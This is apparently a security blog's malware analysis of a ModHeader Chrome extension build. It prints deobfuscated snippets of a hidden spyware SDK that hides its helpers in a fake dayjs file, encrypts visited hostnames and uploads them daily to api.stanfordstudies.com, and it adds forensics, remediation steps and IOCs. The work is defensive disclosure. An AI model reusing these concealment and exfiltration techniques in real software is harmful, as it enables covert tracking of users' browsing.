Skip to content
HackIndex logo

HackIndex

More than 800,000 people trusted this extension. Then, one morning, Chrome switched it off and flagged it as malware. Google gave no reason, though. There was no note on what the extension did, and none on what data was at risk.

That extension is ModHeader, a popular developer tool that rewrites HTTP headers on every site you visit. So a malware flag here is a big deal. In response, we pulled the removed build off disk and reversed it. This ModHeader malware analysis walks through the whole case: the hidden pipeline, the forensics, and the indicators of compromise.

TL;DR

First, here is the short version. The details follow below.

  • What: A ModHeader build (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) carried a hidden spyware SDK. Notably, that ID is the official ModHeader listing, and the files carried Chrome Web Store signatures.

  • Behavior: It harvests the domains you visit. Then it AES-GCM-encrypts the list. Finally, it POSTs the data once a day to api.stanfordstudies.com/app/log.

  • Hiding place: The malicious helpers sit inside a file named dayjs.min-*.js. In other words, the payload masquerades as a date library.

  • State: The collector ships dormant behind an empty allowlist ($w = []). Still, the endpoint, key, and scheduler are all present.

  • Command-and-control: There is none to monitor. The upload is one-way, so the server cannot send commands back.

  • Reach: ModHeader has 800,000+ users. Because the payload rides the official listing, the whole install base is in scope.

  • Recon: The exfil host hides behind a fake "Stanford Studies - Research" front and a Lark mailbox. In addition, several weak signals point to a Chinese-speaking operator.

  • Forensics: On the analyzed machine the spyware never fired. However, the extension had locally hoarded the full HTTP headers of all browsing.

Read on for how we found each of these facts.

Background: why a ModHeader malware flag matters

ModHeader is a popular tool. Developers use it to modify HTTP request and response headers. Therefore it needs broad access to your traffic. That access is normal for its job. Yet it also makes the extension a high-value target.

A trusted extension flagged for malware is the interesting case. Either a clone is wearing the brand, or a trusted extension now carries an injected payload. Both patterns show up often in browser-extension supply-chain attacks. As a result, this ModHeader malware analysis treats the flag as a lead, not a verdict.

Where the files live

The removed extension still sat on disk. You can find it here:

~/Library/Application Support/Google/Chrome/Profile 1/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

First look: manifest and permissions

We started with the manifest. The permissions tell you the blast radius fast.

// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

The permission set is broad. It includes <all_urls>, webRequest, declarativeNetRequest, scripting, and a content script on every page. For a header tool, that scope is expected. Still, it means a malicious build already owns your web traffic. Notably, the author field reads modhader@@. That typo recurs in the code as modhader-tool-root.

The tell: a non-vendor domain

Next, we pulled every URL literal from the bundles. It is the fastest triage step for obfuscated code.

┌──(kali㉿kali)-[~]
└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

Most results point at modheader.com, the real vendor. However, one host stands out as out of place:

  • https://api.stanfordstudies.com/app/log

A "Stanford studies" domain has no business inside a header tool. Moreover, /app/log is a generic ingest path. So that became the thread to pull. It lives in one file: assets/src/background-94ad634d.js.

Obfuscation: ModHeader malware hidden inside a fake dayjs

The payload imports its helpers from what looks like the date library.

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

Yet those exports have nothing to do with dates. Instead, they are operational spyware helpers.

// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight

This is deliberate misdirection. A reviewer skims the imports, sees "dayjs", and moves on. Consequently, the ModHeader malware helpers pass review in plain sight.

How the ModHeader malware exfiltration pipeline works

The diagram below shows the full flow, from browsing to upload. All symbols below are the real minified names. Deobfuscated pseudocode follows each block.

ModHeader malware exfiltration pipeline: domain harvesting, AES-GCM encryption, and daily upload to api.stanfordstudies.com

Step 1: identity and crypto material

First, the payload sets up a key, an endpoint, and a fingerprint.

let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

Two points matter here.

  1. The "encryption" is obfuscation, not protection. The AES-GCM key ships in cleartext. Therefore anyone with the extension can decrypt the payload. Its only job is to hide the body from casual network inspection.

  2. The fingerprint is a stable tracking ID. It is SHA-256(Date.now()). The code generates it once, then stores it. As a result, it acts like a random persistent identifier.

Step 2: harvest the host of every navigation

Next, the collector records domains. It keys them by an encrypted value.

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}

So the store maps each encrypted hostname to a counter. In short, the operator learns which sites you visit and how often. Full URLs and paths are not collected here. Only the host is.

Step 3: the daily, fingerprint-jittered upload

Then the code decides when to send. It uploads at most once per day. Moreover, it waits for a fixed hour that is unique to your fingerprint.

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}

This jitter is clever. Every victim uploads at a different time. Consequently, the traffic is harder to spot on a network monitor. After a successful send, the code clears the local store to remove evidence.

Step 4: the kill switch is an empty allowlist

Finally, the whole chain hangs off the tab lifecycle. However, one guard stops it cold.

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}

Here $w is empty. Therefore $w.indexOf(browser) is always -1. As a result, the guard always returns, and Zw never runs. In this build the collector is present but dormant. Because $w is a hardcoded constant, flipping it on needs a new version. In other words, the real trigger is an auto-update.

What the ModHeader malware does not do

Being precise about absence matters too. So we checked for the worst behaviors and did not find them.

  • No remote code execution. There is no eval, no new Function abuse, and no import("https://...").

  • No credential theft in the exfil path. The upload carries hostnames, the fingerprint, and the browser type. It does not send cookies or page content.

  • Cookies are only measured, not sent. A metrics routine reads document.cookie.length for a storage-estimate UI. The cookie value never leaves the page.

  • Captured headers stay local. The header listeners write to local storage for the extension's own history view.

Forensics: did the ModHeader malware ever fire?

The extension's IndexedDB survived removal. It weighed around 178 MB.

~/Library/Application Support/Google/Chrome/Profile 1/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

So we scanned it for upload markers.

┌──(kali㉿kali)-[~]
└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

The results were clear:

  • stanfordstudies returned zero hits across all 178 MB.

  • lastUploadDate and uploadRecord returned zero hits.

  • The temp domain store was effectively empty.

  • The 18 /app/log hits were a false positive. In fact, they were /app/login from a local Kibana on 127.0.0.1:5601.

Therefore, on this profile, the collector never recorded a domain and never uploaded. That matches the dormant $w = [] gate exactly. In short, your visited-domain list did not leave the machine.

The 178 MB surprise: a local header hoard

However, one thing did fill 178 MB. The extension's own "history" feature stored the full request and response headers for every page. The dominant keys were requestHeaders, responseHeaders, details, and tabStartTime.

This data never left the disk. Still, it is sensitive at rest. Headers often hold Authorization tokens, session cookies, and internal URLs. In this case, it included traffic to an internal Kibana. So you should wipe this store regardless of whether the spyware fired.

Where is the command-and-control?

Many readers ask a fair question. Is there a C2 channel to monitor? In short, no.

The upload is strictly one-way. The fetch response body is never read. There is no .json(), no .text(), and no .ok check on the reply. Furthermore, the operational constants are hardcoded and never reassigned from a server. Therefore api.stanfordstudies.com is a drop box, not a controller. It cannot task the extension.

The real control channel is the extension auto-update. To flip the dormant collector live, an operator must ship a new version. That is exactly the vector Chrome neutralizes when it delists an extension.

Domain reconnaissance: is this ModHeader malware endpoint really malicious?

We did not stop at the code. Instead, we profiled the exfil domain with passive and active recon. So here is what the infrastructure itself reveals.

api.stanfordstudies.com is a disguised exfil endpoint

First, the naming is deceptive. The public front at www.stanfordstudies.com carries the title "Stanford Studies - Research". However, it has no link to Stanford University. Moreover, the page is an empty shell. There is no research organization, no privacy policy, and no contact. By contrast, a genuine data-collection study discloses all three.

Second, the API host behaves like a drop box, not a website.

  • The domain was created on 2022-05-09 through Squarespace. Its WHOIS is privacy-redacted.

  • Its mail runs through larksuite.com (Lark / Feishu). This points to a Chinese-speaking operator. Notably, that matches the ("salt") string baked into the code.

  • api.stanfordstudies.com resolves to a single AWS EC2 host (3.147.61.167, region us-east-2).

  • A probe of the root address timed out. Therefore the host answers only its ingest path, not normal web traffic.

  • Finally, urlscan.io holds records for the exact endpoint api.stanfordstudies.com/app/log. It also has scans of the host dating back to November 2023.

Taken together, this is a covert ingest endpoint dressed up as academic research. Therefore we rate it malicious.

Supply-chain context: this is the official ModHeader ID

One detail raises the stakes. The extension ID idgpnmonknjnojddfkpgkljpfnnfcklj is the official ModHeader listing, which serves over 800,000 users. In addition, the build shipped with Chrome Web Store signatures (_metadata/verified_contents.json). Because Chrome refuses to run tampered files, the analyzed code is the signed distribution, not a locally modified clone.

However, we cannot prove from the binary alone who added the payload. It could reflect an ownership transfer, an injected monetization SDK, or a vendor decision. That pattern is well documented across the industry. As a result, we present the evidence and mark the authorship question as open.

Verdict per domain

Domain

Role in the ModHeader malware

Infrastructure

Verdict

api.stanfordstudies.com

Encrypted domain-harvest ingest

AWS EC2, root unreachable, "Stanford" disguise, Lark mail

Malicious

modheader.com

Vendor cloud sync (shown for contrast)

AWS + Google Workspace, transparent

Legitimate

Reach and attribution: who is exposed, and who is behind it?

How many users are exposed

The blast radius is large, because this is the mainline listing. Here are the store numbers at the time of writing.

  • Users: 800,000+ installs on the Chrome Web Store, published under "ModHeader".

  • Rating: 2.91 stars from 1,226 votes. That is unusually low for a long-running dev tool.

  • Listed languages: English and Simplified Chinese (zh-CN).

  • Last listing update: 2026-07-01, which matches the analyzed v7.0.18 build.

The low rating is not random. Recent reviews already flag the extension for adware behavior and affiliated ads. However, those ads are disclosed, and the extension offers an opt-out. Therefore they are a separate, visible complaint. The stanfordstudies.com collector is the opposite. It is covert, encrypted, and offers no notice and no opt-out. So do not confuse the two: the disclosed ads are a trust problem, while the hidden domain harvesting is the actual spyware.

Threat-actor signals (low confidence)

We can sketch the operator only loosely. Importantly, we name no group, and none of these signals is proof.

  • Mail on Lark. The exfil domain routes email through larksuite.com (Lark / Feishu), a suite common with Chinese-speaking teams.

  • A Chinese string in the code. The fingerprint salt embeds the character , which means "salt".

  • Chinese-language surface. The listing ships a Simplified Chinese locale, and the content script special-cases baidu.com.

  • A false-flag front. The "Stanford Studies" page borrows a trusted US university name. Clearly, that is misdirection, not a real affiliation.

Taken together, these point weakly toward a Chinese-speaking operator. Still, the infrastructure sits on AWS, and the WHOIS is privacy-redacted. As a result, we cannot tie it to a named actor from open sources alone.

Impact assessment

Here is the risk at a glance.

Vector

Status in v7.0.18

Data exposed

Severity

Domain harvesting to stanfordstudies.com

Dormant; never fired

Visited hostnames, fingerprint, browser

High capability

Local header history

Active, local only

Full headers of all browsing

Medium at rest

Permission reach

Held

Read/modify all HTTP traffic

High potential

In plain terms, nothing was exfiltrated on this machine. Yet the ModHeader malware shipped a complete, keyed, endpoint-ready spyware pipeline. It was one code change from active. Meanwhile, it warehoused sensitive header data locally. That combination is a fair basis for a takedown.

Detection and remediation

This ModHeader malware analysis ends with action. First, here is cleanup for affected users. Next, here are hunts for defenders.

If you are an affected user

Follow these steps in order.

  1. Confirm Chrome disabled the extension. It usually does this automatically.

  2. Delete the leftover storage directories listed below.

  3. Block and log DNS for api.stanfordstudies.com.

  4. Reinstall a header tool only from a source you trust.

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

If you defend a fleet

Use these hunts and heuristics.

  • Grep unpacked extension directories for the IOC strings below.

  • Alert on any extension that POSTs an opaque, encrypted body to a non-vendor domain.

  • Flag operational helpers exported from a vendored library file as a code smell.

For more depth, see our related guides on the HackIndex blog:

  • How to audit a browser extension

  • Chrome extension permissions explained

  • IOC hunting for defenders

Indicators of Compromise

Use these IOCs to hunt for the same ModHeader malware SDK elsewhere.

Network

api.stanfordstudies.com          (exfil ingest: POST /app/log)

Extension

Extension ID : idgpnmonknjnojddfkpgkljpfnnfcklj
Name         : ModHeader - Modify HTTP headers
Version      : 7.0.18

Static strings

Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log

Files (this build's Vite hashes)

assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)

Symbol map

For reference, here is the minified-to-meaning map.

Minified

Meaning

qw

exfil URL api.stanfordstudies.com/app/log

$w

browser allowlist gate (empty = dormant)

Yw

fingerprint salt mod盐header

qo

imported AES-GCM key

Hw

fp = SHA-256(Date.now()) install ID

Zw

record a visited domain

Qw

upload decision + clear-on-success

zw

per-fingerprint time-of-day gate

sf / af / Za / u0

browser id / host / midnight / sleep

Further reading

For wider context on how trusted extensions turn hostile, see the following external reports.

This analysis is static plus on-disk forensics of a single installed build. We assert no attribution. If you can confirm whether the official Web Store served this exact build, please reach out to HackIndex Research.